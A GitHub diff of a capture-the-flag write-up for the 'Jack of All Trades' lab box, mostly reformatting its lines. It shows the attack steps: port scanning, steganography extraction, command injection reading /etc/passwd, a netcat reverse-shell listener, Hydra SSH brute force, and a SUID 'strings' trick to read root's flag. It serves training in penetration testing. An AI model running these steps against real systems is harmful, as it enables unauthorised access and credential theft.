|
12 | 12 |
|
13 | 13 | ``nmap -sV -sC -oN scan1 10.10.252.248`` |
14 | 14 |
|
15 | | -+ **We can see 2 open ports with some services: ssh and http. The first strange thing is that the services are opened on reversed ports. Ssh is opened on the 80 ports and http on the 22 one** |
| 15 | ++ **We can see 2 open ports with some services: ssh and http.** |
| 16 | +**The first strange thing is that the services are opened on reversed ports.** |
| 17 | +**Ssh is opened on the 80 ports and http on the 22 one** |
16 | 18 |
|
17 | 19 |  |
18 | 20 |
|
19 | | -+ **Let's try to get to the http web-site on the 22 port. We see an browser error: seems like Firefox has canceled our request for kind of security. That's because the unusual use of 22 port for the http service** |
| 21 | ++ **Let's try to get to the http web-site on the 22 port.** |
| 22 | +**We see an browser error: seems like Firefox has canceled our request for kind of security.** |
| 23 | +**That's because the unusual use of 22 port for the http service** |
20 | 24 |
|
21 | 25 |  |
22 | 26 |
|
23 | | -**We can allow this restricted port making some configuration inside the mozilla browser: [allow restricted ports](https://support.mozilla.org/en-US/questions/1083282#answer-780274). Go into the about:config page in the url, search for the ports and add the network.security.ports.banned.override string, with the 22 value** |
| 27 | +**We can allow this restricted port making some configuration inside the mozilla browser: [allow restricted ports](https://support.mozilla.org/en-US/questions/1083282#answer-780274).** |
| 28 | +**Go into the about:config page in the URL, search for the ports and add the network.security.ports.banned.override string, with the 22 value.** |
24 | 29 |
|
25 | 30 |  |
26 | 31 |
|
27 | 32 |  |
28 | 33 |
|
29 | | -**We can see our main page, with the box title and some images in there. Let's scan with gobuster too.** |
| 34 | +**We can see our main page, with the box title and some images in there.** |
| 35 | +**Let's scan with gobuster too.** |
30 | 36 |
|
31 | 37 | ``gobuster dir -u http://10.10.252.248:22/ -w /usr/share/wordlists/dirb/common.txt`` |
32 | 38 |
|
33 | 39 |  |
34 | 40 |
|
35 | | -+ **Let's take a look into our gobuster output. Let's visit the assets page; we can see some *jpg* files, one of them called** stego.jpg **so we can think about an encrypted image with the help of steganography** |
| 41 | ++ **Let's take a look into our gobuster output.** |
| 42 | +**Let's visit the assets page; we can see some *jpg* files, one of them called** stego.jpg **so we can think about an encrypted image with the help of steganography** |
36 | 43 |
|
37 | 44 |  |
38 | 45 |
|
39 | 46 | + **We can try to extract the stego image to see de hidden data, so we're gonna use steghide** |
40 | 47 |
|
41 | 48 | ``steghide --extract -sf stego.jpg`` |
42 | 49 |
|
43 | | -**A passphrase is requested, so we cannot immediately decrypt the image, but we can continue to enumerate the http page. Let's take a look into the source code of the page.** |
| 50 | +**A passphrase is requested, so we cannot immediately decrypt the image, but we can continue to enumerate the http page.** |
| 51 | +**Let's take a look into the source code of the page.** |
44 | 52 |
|
45 | | -+ **We can spot a message left in the source code of the page: a recovery message which tells us we can connect on the /recovery.php page and there's also a base64 encoded message** |
| 53 | ++ **We can spot a message left in the source code of the page: a recovery message which tells us we can connect on the `/recovery.php` page and there's also a base64 encoded message** |
46 | 54 |
|
47 | 55 |  |
48 | 56 |
|
|
56 | 64 |
|
57 | 65 |  |
58 | 66 |
|
59 | | -+ **A creds.txt file was hidden inside, but the stego.jpg wasn't the good path. Let's download the other images from the assets page and extract them** |
| 67 | ++ **A `creds.txt` file was hidden inside, but the stego.jpg wasn't the good path.** |
| 68 | +**Let's download the other images from the assets page and extract them** |
60 | 69 |
|
61 | 70 |  |
62 | 71 |
|
63 | 72 | ``steghide --extract -sf header.jpg`` |
64 | 73 |
|
65 | | -**Bingo! We got a username and a password inside the header.jpg image. Let's go to the /recovery.php page and try to login with the credentials.** |
| 74 | +**Bingo! We got a username and a password inside the header.jpg image.** |
| 75 | +**Let's go to the /recovery.php page and try to login with the credentials.** |
66 | 76 |
|
67 | 77 | + **Logging in with our credentials on the page, we are redirected to a page with the message:** |
68 | 78 |
|
69 | 79 | ``GET me a 'cmd' and I'll run it for you Future-Jack.`` |
70 | 80 |
|
71 | 81 |  |
72 | 82 |
|
73 | | -**Now, let's try some system commands inside the url:** |
| 83 | +**Now, let's try some system commands inside the URL:** |
74 | 84 |
|
75 | 85 | ``http://10.10.252.248:22/nnxhweOV/index.php?cmd=cat /etc/passwd`` |
76 | 86 |
|
77 | 87 |  |
78 | 88 |
|
79 | | -+ **It's all working, so go grab a reverse shell. I'm gonna use python and start listen with nc** |
| 89 | ++ **It's all working, so go grab a reverse shell.** |
| 90 | +**I'm gonna use python and start listen with nc** |
80 | 91 |
|
81 | 92 | ``nc -lvnp 1234`` |
82 | 93 |
|
|
86 | 97 |
|
87 | 98 | ## User escalation |
88 | 99 |
|
89 | | -**Here we got our access into the system. Let's spawn an interactive shell with python and continue to enumerate.** |
| 100 | +**Here we got our access into the system.** |
| 101 | +**Let's spawn an interactive shell with python and continue to enumerate.** |
90 | 102 |
|
91 | 103 | ``python -c 'import pty; pty.spawn("/bin/bash")'`` |
92 | 104 |
|
93 | | -+ **Looking into the /home directory, we can see a** ``jacks_password_list`` **file which seems to be a password list for the jake user. According to the second service opened, on the 80 port, the ssh service, we're gonna try to bruteforce the login with the given wordlist and with the help of the Hydra tool** |
| 105 | ++ **Looking into the /home directory, we can see a** ``jacks_password_list`` **file which seems to be a password list for the jake user.** |
| 106 | +**According to the second service opened, on the 80 port, the ssh service, we're gonna try to bruteforce the login with the given wordlist and with the help of the Hydra tool** |
94 | 107 |
|
95 | 108 |  |
96 | 109 |
|
97 | | -+ **Firstly, we need to download the** ``jacks_password_list`` **file to our machine. Open a python server on the Jack box and we're gonna get the file on ours** |
| 110 | ++ **Firstly, we need to download the** ``jacks_password_list`` **file to our machine.** |
| 111 | +**Open a python server on the Jack box and we're gonna get the file on ours** |
98 | 112 |
|
99 | 113 | **The Jack box:** |
100 | 114 |
|
|
104 | 118 |
|
105 | 119 | **``{kali@kali:Jack of All Trades_0}$``** ``wget 10.10.252.248:6999/jacks_password_list`` |
106 | 120 |
|
107 | | -+ **Now, having the wordlist, let's start the bruteforce phase. Don't forget to set the port for the ssh service, because it's not on the default (22), but the 80 one** |
| 121 | ++ **Now, having the wordlist, let's start the bruteforce phase.** |
| 122 | +**Don't forget to set the port for the ssh service, because it's not on the default (22), but the 80 one** |
108 | 123 |
|
109 | 124 | ``hydra -s 80 -v -V -l jack -P jacks_password_list -t 8 10.10.252.248 ssh`` |
110 | 125 |
|
|
114 | 129 |
|
115 | 130 | ``ssh jake@10.10.252.248 -p 80`` |
116 | 131 |
|
117 | | -+ **In the /home/jack directory we can see the user flag, but in the .jpg format. Let's get the image on our machine, using the same method as above, and then open it** |
| 132 | ++ **In the /home/jack directory we can see the user flag, but in the .jpg format.** |
| 133 | +**Let's get the image on our machine, using the same method as above, and then open it** |
118 | 134 |
|
119 | 135 | **``www-data@jack-of-all-trades:/home$``** ``python -m SimpleHTTPServer 6999`` |
120 | 136 |
|
|
126 | 142 |
|
127 | 143 | ## Root escalation |
128 | 144 |
|
129 | | -+ **Checking for ``sudo -l`` on the jack user gives us no good path. He has no sudo permission on the machine** |
| 145 | ++ **Checking for ``sudo -l`` on the jack user gives us no good path.** |
| 146 | +**He has no `sudo` permission on the machine** |
130 | 147 |
|
131 | 148 | ``Sorry, user jack may not run sudo on jack-of-all-trades.`` |
132 | 149 |
|
133 | 150 | **Let's check for some advanced linux file permissions - suid.** |
134 | 151 |
|
135 | 152 | ``find / -type f -user root -perm -4000 -print 2>/dev/null`` |
136 | 153 |
|
137 | | -+ **This gives us some interesting output. The strings executable has got file owner permission when executing a command** |
| 154 | ++ **This gives us some interesting output.** |
| 155 | +**The strings executable has got file owner permission when executing a command** |
138 | 156 |
|
139 | 157 |  |
140 | 158 |
|
141 | | -**Knowing this, let's try to use strings on our root.txt flag.** |
| 159 | +**Knowing this, let's try to use strings on our `root.txt` flag.** |
142 | 160 |
|
143 | 161 | ``strings /root/root.txt`` |
144 | 162 |
|
145 | | -+ **And here's our root flag. This was a very nice box with some steganography challenges into, a reversed ports configuration of services and some file permissions** |
| 163 | ++ **And here's our root flag.** |
| 164 | +**This was a very nice box with some steganography challenges into, a reversed ports configuration of services and some file permissions** |
146 | 165 |
|
147 | 166 |  |
0 commit comments